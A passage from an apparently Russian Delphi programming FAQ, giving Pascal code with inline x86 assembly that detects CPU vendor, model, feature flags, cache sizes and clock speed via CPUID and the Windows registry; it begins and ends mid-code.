  popfd
  pushfd
  pop eax
  push ebx
  popfd
  xor eax,ebx
  mov TempDetect,eax

  pop edx
  pop ecx
  pop ebx
  pop eax
  popfd
  popf
end;
GetCPUIDSupport:=(TempDetect=$00200000);
end;
function TCpuData.GetVendorString:string;
var s1,s2,s3:array[0..3] of char;
    TempVendor:string;
    i:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,0
  db $0F,$A2                /// cpuid
  mov s1,ebx
  mov s2,edx
  mov s3,ecx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
TempVendor:='''';
for i:=0 to 3 do
  TempVendor:=TempVendor+s1[i];
for i:=0 to 3 do
  TempVendor:=TempVendor+s2[i];
for i:=0 to 3 do
  TempVendor:=TempVendor+s3[i];
GetVendorString:=TempVendor;
end;
function TCpuData.GetCPUFrequency:word;
var TimeStart:integer;
    TimeStop:integer;
    StartTicks:dword;
    EndTicks:dword;
    TotalTicks:dword;
    cpuSpeed:dword;
    NeverExit:Boolean;
begin
TimeStart:=0;
TimeStop:=0;
StartTicks:=0;
EndTicks:=0;
TotalTicks:=0;
cpuSpeed:=0;
NeverExit:=True;
TimeStart:=timeGetTime;
while NeverExit do
  begin
  TimeStop:=timeGetTime;
  if ((TimeStop-TimeStart)>1) then
      begin
       asm
        xor eax,eax
        xor ebx,ebx
        xor ecx,ecx
        xor edx,edx
        db $0F,$A2                /// cpuid
        db $0F,$31                /// rdtsc
        mov StartTicks,eax
       end;
      Break;
      end;
  end;
  TimeStart:=TimeStop;
  while NeverExit do
   begin
   TimeStop:=timeGetTime;
   if ((TimeStop-TimeStart)>1000) then
       begin
        asm
         xor eax,eax
         xor ebx,ebx
         xor ecx,ecx
         xor edx,edx
         db $0F,$A2                /// cpuid
         db $0F,$31                /// rdtsc
         mov EndTicks,eax
        end;
        Break;
       end;
    end;
   TotalTicks:=EndTicks-StartTicks;
   cpuSpeed:=TotalTicks div 1000000;
   GetCPUFrequency:=cpuSpeed;
end;
procedure TCpuData.GetFMS(var Family,Model,Stepping:byte);
var TempFlags:dword;
    BinFlags:array[0..31] of byte;
    i,pos:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  mov TempFlags,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinFlags[i]:=TempFlags mod 2;
   TempFlags:=TempFlags div 2;
  end;
family:=0;
model:=0;
stepping:=0;
  pos:=0;
  for i:=0 to 3 do
   begin
    stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=4;
  for i:=0 to 3 do
   begin
    model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=8;
  for i:=0 to 3 do
   begin
    family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
end;
function TCpuData.GetMaxCpuId:dword;
var TempMax:dword;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,0
  db $0F,$A2                /// cpuid
  mov TempMax,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
GetMaxCpuId:=TempMax;
end;
function TCpuData.CheckFPU:Boolean;
label NoFpu;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$1
  jz NoFpu
  mov edx,0
  mov TempCheck,edx
NoFpu:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckFpu:=(TempCheck=0);
end;
function TCpuData.CheckTSC:Boolean;
label NoTSC;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$10
  jz NoTSC
  mov edx,0
  mov TempCheck,edx
NoTSC:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckTSC:=(TempCheck=0);
end;
function TCpuData.CheckMSR:Boolean;
label NoMSR;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$20
  jz NoMSR
  mov edx,0
  mov TempCheck,edx
NoMSR:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckMSR:=(TempCheck=0);
end;
function TCpuData.CheckMPS:Boolean;
var SysInfo:TSystemInfo;
begin
GetSysTemInfo(SysInfo);
CheckMPS:=(SysInfo.dwNumberOfProcessors>1);
end;
function TCpuData.GetNoCpus:cardinal;
var SysInfo:TSystemInfo;
begin
GetSystemInfo(SysInfo);
GetNoCpus:=SysInfo.dwNumberOfProcessors;
end;
function TCpuData.CheckPN:Boolean;
label NoPN;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$40000
  jz NoPN
  mov edx,0
  mov TempCheck,edx
NoPN:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckPN:=(TempCheck=0);
end;
function TCpuData.CheckCMPXCHG8B:Boolean;
label NoCMPXCHG8B;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$100
  jz NoCMPXCHG8B
  mov edx,0
  mov TempCheck,edx
NoCMPXCHG8B:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckCMPXCHG8B:=(TempCheck=0);
end;
function TCpuData.CheckCMOVe:Boolean;
label NoCMOVe;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$8000
  jz NoCMOVe
  mov edx,0
  mov TempCheck,edx
NoCMOVe:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckCMOVe:=(TempCheck=0);
end;
function TCpuData.CheckSelfSnoop:Boolean;
label NoSelfSnoop;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$8000000
  jz NoSelfSnoop
  mov edx,0
  mov TempCheck,edx
NoSelfSnoop:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckSelfSnoop:=(TempCheck=0);
end;
function TCpuData.CheckDebugTraceStore:Boolean;
label NoDebugTraceStore;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$200000
  jz NoDebugTraceStore
  mov edx,0
  mov TempCheck,edx
NoDebugTraceStore:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckDebugTraceStore:=(TempCheck=0);
end;
function TCpuData.CheckFXSAVEFXRSTOR:Boolean;
label NoFXSAVEFXRSTOR;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$1000000
  jz NoFXSAVEFXRSTOR
  mov edx,0
  mov TempCheck,edx
NoFXSAVEFXRSTOR:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckFXSAVEFXRSTOR:=(TempCheck=0);
end;
function TCpuData.CheckMMX:Boolean;
label NoMMX;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$800000
  jz NoMMX
  mov edx,0
  mov TempCheck,edx
NoMMX:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckMMX:=(TempCheck=0);
end;
function TCpuData.CheckMMXplus:Boolean;
label NoMMXplus;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  test edx,$400000
  jz NoMMXplus
  mov edx,0
  mov TempCheck,edx
NoMMXplus:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckMMXplus:=(TempCheck=0);
end;
function TCpuData.CheckSSE:Boolean;
label NoSSE;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$2000000
  jz NoSSE
  mov edx,0
  mov TempCheck,edx
NoSSE:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckSSE:=(TempCheck=0);
end;
function TCpuData.CheckSSE2:Boolean;
label NoSSE2;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  test edx,$4000000
  jz NoSSE2
  mov edx,0
  mov TempCheck,edx
NoSSE2:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckSSE2:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNow:Boolean;
label NoAMD3DNow;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  test edx,$80000000
  jz NoAMD3DNow
  mov edx,0
  mov TempCheck,edx
NoAMD3DNow:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckAMD3DNow:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNowPlus:Boolean;
label NoAMD3DNowPlus;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  test edx,$40000000
  jz NoAMD3DNowPlus
  mov edx,0
  mov TempCheck,edx
NoAMD3DNowPlus:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckAMD3DNowPlus:=(TempCheck=0);
end;
function TCpuData.GetMaxExtendedFunctions:dword;
var TempExt:dword;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000000
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  shl eax,1
  shr eax,1
  mov TempExt,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
GetMaxExtendedFunctions:=TempExt;
end;

procedure TCpuData.GetExtendedFMS(var family,model,stepping:byte);
var TempFlags:dword;
    BinFlags:array[0..31] of byte;
    i,pos:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov TempFlags,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinFlags[i]:=TempFlags mod 2;
   TempFlags:=TempFlags div 2;
  end;
family:=0;
model:=0;
stepping:=0;
  pos:=0;
  for i:=0 to 3 do
   begin
    stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=4;
  for i:=0 to 3 do
   begin
    model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=8;
  for i:=0 to 3 do
   begin
    family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
end;

function TCpuData.GetExtendedCpuName:string;
var s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12:array[0..3] of char;
    TempCpuName:string;
    i:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000002
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov s1,eax
  mov s2,ebx
  mov s3,ecx
  mov s4,edx
  mov eax,$80000003
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov s5,eax
  mov s6,ebx
  mov s7,ecx
  mov s8,edx
  mov eax,$80000004
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov s9,eax
  mov s10,ebx
  mov s11,ecx
  mov s12,edx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
  TempCpuName:='''';
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s1[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s2[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s3[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s4[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s5[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s6[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s7[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s8[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s9[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s10[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s11[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s12[i];
  GetExtendedCpuName:=TempCpuName;
end;
function TCpuData.GetExtendedL1DCache:word;
var L1D,TempL1D:dword;
    BinArray:array[0..31] of byte;
    i,p:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000005
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov L1D,ecx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=L1D mod 2;
   L1D:=L1D div 2;
  end;
TempL1D:=0;
p:=0;
for i:=24 to 31 do
  begin
   TempL1D:=TempL1D+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
   inc(p);
  end;
GetExtendedL1DCache:=TempL1D;
end;
function TCpuData.GetExtendedL1ICache:word;
var L1I,TempL1I:dword;
    BinArray:array[0..31] of byte;
    i,p:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000005
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov L1I,edx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=L1I mod 2;
   L1I:=L1I div 2;
  end;
TempL1I:=0;
p:=0;
for i:=24 to 31 do
  begin
   TempL1I:=TempL1I+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
   inc(p);
  end;
GetExtendedL1ICache:=TempL1I;
end;
function TCpuData.GetExtendedL2Cache:word;
var L2,TempL2:dword;
    BinArray:array[0..31] of byte;
    i,p:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000006
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2                /// cpuid
  mov L2,ecx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=L2 mod 2;
   L2:=L2 div 2;
  end;
TempL2:=0;
p:=0;
for i:=16 to 31 do
  begin
   TempL2:=TempL2+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
   inc(p);
  end;
GetExtendedL2Cache:=TempL2;
end;
function TCpuData.CheckCeleron:Boolean;
var BId:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  mov BId,bl
  pop edx
  pop ecx
  pop ebx

  pop eax
end;
CheckCeleron:=(BId=$1);
end;
function TCpuData.CheckPentiumIII:Boolean;
var BId:byte;
begin
CheckPentiumIII:=(CheckMMX and CheckSSE);
end;
function TCpuData.CheckXeon:Boolean;
var BId:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  mov BId,bl
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
CheckXeon:=(BId=$3);
end;
function TCpuData.CheckPentium4:Boolean;
var BId:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  mov BId,bl
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
CheckPentium4:=(BId=$8);
end;
function TCpuData.CheckIthanium:Boolean;
var res:dword;
    BinArray:array[0..31] of byte;
    i:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2                /// cpuid
  mov res,edx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=res mod 2;
   res:=res div 2;
  end;
CheckIthanium:=(CheckPentium4 and (BinArray[30]=1));
end;
function TCpuData.IntelP5N:string;
begin

If CheckMMX then IntelP5N:=''Intel Pentium(r) MMX(tm)''
else IntelP5N:=''Intel Pentium(r)'';
end;
function TCpuData.IntelP6N:string;
begin
if CheckCeleron then IntelP6N:=''Intel Celeron(r)''
else
if CheckPentiumIII then IntelP6N:=''Intel Pentium(r) III''
else
if CheckXeon then IntelP6N:=''Intel Pentium(r) III Xeon(tm)''
else
if not CheckMMX then IntelP6N:=''Intel Pentium(r) PRO''
else IntelP6N:=''Intel Pentium(r) II'';
end;
function TCpuData.AMDK5N:string;
var Family,Model,Stepping:byte;
begin
GetFMS(Family,Model,Stepping);
if Model=0 then AMDK5N:=''AMD K5''
else AMDK5N:=GetExtendedCpuName;
end;
function TCpuData.Cyrix686N:string;
begin
if CpuData.GetMaxExtendedFunctions>0 then Cyrix686N:=GetExtendedCpuName
else
if CheckMMX then Cyrix686N:=''VIA Cyrix 6x86MII''
else
Cyrix686N:=''VIA Cyrix 6x86'';
end;
function TCpuData.GenericCpuN:string;
var SysInfo:TSystemInfo;
begin
GetSystemInfo(SysInfo);
if SysInfo.dwProcessorType=386
    then GenericCpuN:=''Generic 386 CPU''
else
if SysInfo.dwProcessorType=486
    then GenericCpuN:=''Generic 486 CPU''
else
if SysInfo.dwProcessorType=586
    then GenericCpuN:=''Pentium Class CPU''
else GenericCpuN:=''Unknown CPU'';
end;
function TCpuData.P5CacheL1DI:word;
begin
if CheckMMX then P5CacheL1DI:=16
else P5CacheL1DI:=8;
end;
function TCpuData.P6CacheL1DI:word;
begin
if not CheckMMX then P6CacheL1DI:=8
else P6CacheL1DI:=16;
end;
function TCpuData.P6CacheL2:word;
var Family,Model,Stepping:byte;
begin
if CheckCeleron then P6CacheL2:=128
else
if CheckPentiumIII then begin
                          GetFMS(Family,Model,Stepping);
                          if Model=7 then P6CacheL2:=512
                          else if Model=8 then P6cacheL2:=256
                          else P6CacheL2:=512;
                         end
else if not CheckMMX then P6CacheL2:=512
else P6CacheL2:=512;
end;
function TCpuData.AuthenticAMD:TCpuRec;
var Family,Model,Stepping:byte;
    EFamily,EModel,EStepping:byte;
begin
GetFMS(Family,Model,Stepping);
If Family=4 then begin
                   AuthenticAMD.Name:=''AMD 486'';
                   AuthenticAMD.Vendor:=GetVendorString;
                   AuthenticAMD.Frequency:=0;
                   AuthenticAMD.Family:=Family;
                   AuthenticAMD.Model:=Model;
                   AuthenticAMD.Stepping:=Stepping;
                   AuthenticAMD.L1DCache:=8;
                   AuthenticAMD.L1ICache:=8;
                   AuthenticAMD.L2Cache:=0;
                  end
else
if Family=5 then begin
                   if GetMaxExtendedFunctions>4 then
                      begin
                       AuthenticAMD.Name:=GetExtendedCpuName;
                       AuthenticAMD.Vendor:=GetVendorString;
                       AuthenticAMD.Frequency:=GetCPUFrequency;
                       GetExtendedFMS(EFamily,EModel,EStepping);
                       AuthenticAMD.Family:=EFamily;
                       AuthenticAMD.Model:=EModel;
                       AuthenticAMD.Stepping:=EStepping;
                       AuthenticAMD.L1DCache:=GetExtendedL1DCache;
                       AuthenticAMD.L1ICache:=GetExtendedL1ICache;
                       AuthenticAMD.L2Cache:=0;
                      end
                   else
                   begin
                    AuthenticAMD.Name:=AMDK5N;
                    AuthenticAMD.Vendor:=GetVendorString;
                    AuthenticAMD.Frequency:=GetCPUFrequency;
                    AuthenticAMD.Family:=Family;
                    AuthenticAMD.Model:=Model;
                    AuthenticAMD.Stepping:=Stepping;
                    AuthenticAMD.L1DCache:=16;
                    AuthenticAMD.L1ICache:=16;
                    AuthenticAMD.L2Cache:=0;
                   end;
                  end
else if family>5 then
                 begin
                  AuthenticAMD.Name:=GetExtendedCpuName;
                  AuthenticAMD.Name:=GetExtendedCpuName;
                  AuthenticAMD.Vendor:=GetVendorString;
                  AuthenticAMD.Frequency:=GetCPUFrequency;
                  GetExtendedFMS(EFamily,EModel,EStepping);
                  AuthenticAMD.Family:=EFamily;
                  AuthenticAMD.Model:=EModel;
                  AuthenticAMD.Stepping:=EStepping;
                  AuthenticAMD.L1DCache:=GetExtendedL1DCache;
                  AuthenticAMD.L1ICache:=GetExtendedL1ICache;
                  AuthenticAMD.L2Cache:=GetExtendedL2Cache;
                 end;

end;
function TCpuData.GenuineIntel:TCpuRec;
var Family,Model,Stepping:byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then begin
                   GenuineIntel.Name:=''Intel 486'';
                   GenuineIntel.Vendor:=GetVendorString;
                   GenuineIntel.Frequency:=0;
                   GenuineIntel.Family:=Family;
                   GenuineIntel.Model:=Model;
                   GenuineIntel.Stepping:=Stepping;
                   GenuineIntel.L1DCache:=8;
                   GenuineIntel.L1ICache:=8;
                   GenuineIntel.L2Cache:=0;
                  end
else
if Family=5 then begin
                   GenuineIntel.Name:=IntelP5N;
                   GenuineIntel.Vendor:=GetVendorString;
                   GenuineIntel.Frequency:=GetCPUFrequency;
                   GenuineIntel.Family:=Family;
                   GenuineIntel.Model:=Model;
                   GenuineIntel.Stepping:=Stepping;
                   GenuineIntel.L1DCache:=P5CacheL1DI;
                   GenuineIntel.L1ICache:=P5CacheL1DI;
                   GenuineIntel.L2Cache:=0;
                  end
else
if Family=6 then begin
                   GenuineIntel.Name:=IntelP6N;
                   GenuineIntel.Vendor:=GetVendorString;
                   GenuineIntel.Frequency:=GetCPUFrequency;
                   GenuineIntel.Family:=Family;
                   GenuineIntel.Model:=Model;
                   GenuineIntel.Stepping:=Stepping;
                   GenuineIntel.L1DCache:=P6CacheL1DI;
                   GenuineIntel.L1ICache:=P6CacheL1DI;
                   GenuineIntel.L2Cache:=P6CacheL2;
                  end
else
if Family=$F then begin
                    if CheckPentium4 then
                     begin
                      GenuineIntel.Name:=''Intel Pentium(r) 4'';
                      GenuineIntel.Vendor:=GetVendorString;
                      GenuineIntel.Frequency:=GetCPUFrequency;
                      GenuineIntel.Family:=32;
                      GenuineIntel.Model:=Model;
                      GenuineIntel.Stepping:=Stepping;
                      GenuineIntel.L1DCache:=8;
                      GenuineIntel.L1ICache:=12;
                      GenuineIntel.L2Cache:=256;
                     end
                    else if CheckIthanium then
                      begin
                       GenuineIntel.Name:=''Intel Ithanium'';
                       GenuineIntel.Vendor:=GetVendorString;
                       GenuineIntel.Frequency:=GetCPUFrequency;
                       GenuineIntel.Family:=64;
                       GenuineIntel.Model:=Model;
                       GenuineIntel.Stepping:=Stepping;
                       GenuineIntel.L1DCache:=0;
                       GenuineIntel.L1ICache:=0;
                       GenuineIntel.L2Cache:=0;
                      end;
                     end;
end;
function TCpuData.CyrixInstead:TCpuRec;
var Family,Model,Stepping:byte;
    EFamily,EModel,EStepping:byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then begin
                   CyrixInstead.Name:=''VIA Cyrix 4x86'';
                   CyrixInstead.Vendor:=GetVendorString;
                   CyrixInstead.Frequency:=0;
                   CyrixInstead.Family:=Family;
                   CyrixInstead.Model:=Model;
                   CyrixInstead.Stepping:=Stepping;
                   CyrixInstead.L1DCache:=8;
                   CyrixInstead.L1ICache:=8;
                   CyrixInstead.L2Cache:=0;
                  end
else
if Family=5 then begin
                   CyrixInstead.Name:=''VIA Cyrix 5x86'';
                   CyrixInstead.Vendor:=GetVendorString;
                   CyrixInstead.Frequency:=GetCPUFrequency;
                   CyrixInstead.Family:=Family;
                   CyrixInstead.Model:=Model;
                   CyrixInstead.Stepping:=Stepping;
                   CyrixInstead.L1DCache:=8;
                   CyrixInstead.L1ICache:=8;
                   CyrixInstead.L2Cache:=0;
                  end
else begin
       if GetMaxExtendedFunctions>0 then
           Begin
            CyrixInstead.Name:=GetExtendedCpuName;
            CyrixInstead.Vendor:=GetVendorString;
            CyrixInstead.Frequency:=GetCPUFrequency;
            GetExtendedFMS(EFamily,EModel,EStepping);
            CyrixInstead.Family:=EFamily;
            CyrixInstead.Model:=EModel;
            CyrixInstead.Stepping:=EStepping;
            CyrixInstead.L1DCache:=GetExtendedL1DCache;
            CyrixInstead.L1ICache:=GetExtendedL1ICache;
            CyrixInstead.L2Cache:=GetExtendedL2Cache;
           end
       else begin
             CyrixInstead.Name:=Cyrix686N;
             CyrixInstead.Vendor:=GetVendorString;
             CyrixInstead.Frequency:=GetCPUFrequency;
             CyrixInstead.Family:=Family;
             CyrixInstead.Model:=Model;
             CyrixInstead.Stepping:=Stepping;
             CyrixInstead.L1DCache:=32;
             CyrixInstead.L1ICache:=32;
             CyrixInstead.L2Cache:=0;
            end;
     end;
end;

function TCpuData.GenericCPU:TCpuRec;
var Family,Model,Stepping:byte;
    EFamily,EModel,EStepping:byte;
begin
if not GetCPUIDSupport then
    begin
     MessageDlg(''This CPU does not support the CPUID instruction!!!'',mtWarning,
     [mbOk],0);
     GenericCPU.Name:=''Unidentified CPU'';
     GenericCPU.Vendor:=''Unidentified'';
     GenericCPU.Frequency:=0;
     GenericCPU.Family:=-1;
     GenericCPU.Model:=-1;
     GenericCPU.Stepping:=-1;
     GenericCPU.L1DCache:=0;
     GenericCPU.L1ICache:=0;
     GenericCPU.L2Cache:=0;
    end
else
begin
  GetFMS(Family,Model,Stepping);
if GetMaxExtendedFunctions>0 then
     begin
      GenericCPU.Name:=GetExtendedCPUName;
      GenericCPU.Vendor:=GetVendorString;
      GenericCPU.Frequency:=GetCPUFrequency;
      CpuData.GetExtendedFMS(EFamily,EModel,EStepping);
      GenericCPU.Family:=EFamily;
      GenericCPU.Model:=EFamily;
      GenericCPU.Stepping:=EStepping;
      GenericCPU.L1DCache:=GetExtendedL1DCache;
      GenericCPU.L1ICache:=GetExtendedL1ICache;
      GenericCPU.L2Cache:=GetExtendedL2Cache;
     end
else begin
       GenericCPU.Name:=GenericCpuN;
       GenericCPU.Vendor:=GetVendorString;
       if Family<=4 then GenericCPU.Frequency:=0
       else GenericCPU.Frequency:=GetCPUFrequency;
       GenericCPU.Family:=Family;
       GenericCPU.Model:=Model;
       GenericCPU.Stepping:=Stepping;
       GenericCPU.L1DCache:=0;
       GenericCPU.L1ICache:=0;
       GenericCPU.L2Cache:=0;
      end;
end;
end;
end.

Взято из http://forum.sources.ru

Как узнать тип процессора (через реестр)?

function CPUType: string;
var
  Reg: TRegistry;
begin
  CPUType := '';
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    if Reg.OpenKey('\Hardware\Description\System\CentralProcessor\0', False) then
      CPUType := Reg.ReadString('Identifier');
  finally
    Reg.Free;
  end;
end;

Источник: http://community.borland.com
Прислал p0sol

unit ExpandCPUInfo;

interface

type

TCPUInfo = packed record
IDString : array [0..11] of Char;
Stepping : Integer;
Model    : Integer;
Family   : Integer;
FPU,
VirtualModeExtensions,
DebuggingExtensions,
PageSizeExtensions,
TimeStampCounter,
K86ModelSpecificRegisters,
MachineCheckException,
CMPXCHG8B,
APIC,
MemoryTypeRangeRegisters,
GlobalPagingExtension,
ConditionalMoveInstruction,
MMX     : Boolean;
SYSCALLandSYSRET,
FPConditionalMoveInstruction,
AMD3DNow : Boolean;
CPUName : String;
end;
{информация об идентификации процессора}
function ExistCPUID:Boolean;
function CPUIDInfo(out info: TCPUInfo):Boolean;
{инф-я о технологии процессора}
function ExistMMX:Boolean;
function Exist3DNow:Boolean;
function ExistKNI:Boolean;
{------------------------}
procedure EMMS;
procedure FEMMS;
procedure PREFETCH(p: Pointer); register;

implementation

function ExistCPUID : Boolean;
asm

pushfd
pop eax
mov ebx, eax
xor eax, 00200000h
push eax
popfd
pushfd
pop ecx
mov eax,0
cmp ecx, ebx
jz @NO_CPUID
inc eax
@NO_CPUID:
end;

function CPUIDInfo(out info: TCPUIDInfo):Boolean;

function ExistExtendedCPUIDFunctions:Boolean;
asm
mov eax,080000000h
db $0F,$A2
end;
var

name : array [0..47] of Char;
p : Pointer;
begin

if ExistCPUID then asm
jmp @Start
@BitLoop:
mov al,dl
and al,1
mov [edi],al
shr edx,1
inc edi
loop @BitLoop
ret
@Start:
mov edi,info
mov eax,0
db $0F,$A2
mov [edi],ebx
mov [edi+4],edx
mov [edi+8],ecx
mov eax,1
db $0F,$A2
mov ebx,eax
and eax,0fh;
mov [edi+12],eax;
shr ebx,4
mov eax,ebx
and eax,0fh
mov [edi+12+4],eax
shr ebx,4
mov eax,ebx
and eax,0fh
mov [edi+12+8],eax
add edi,24
mov ecx,6
call @BitLoop
shr edx,1
mov ecx,3
call @BitLoop
shr edx,2
mov ecx,2
call @BitLoop
shr edx,1
mov ecx,1
call @BitLoop
shr edx,7
mov ecx,1
call @BitLoop
mov p,edi
end;
if (info.IDString = 'AuthenticAMD') and ExistExtendedCPUIDFunctions then begin
asm
mov edi,p
mov eax,080000001h
db $0F,$A2
mov eax,edx
shr eax,11
and al,1
mov [edi],al
mov eax,edx
shr eax,16
and al,1
mov [edi+1],al
mov eax,edx
shr eax,31
and al,1
mov [edi+2],al
lea edi,name
mov eax,0
mov [edi],eax
mov eax,080000000h
db $0F,$A2
cmp eax,080000004h
jl @NoString
mov eax,080000002h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
add edi,16
mov eax,080000003h
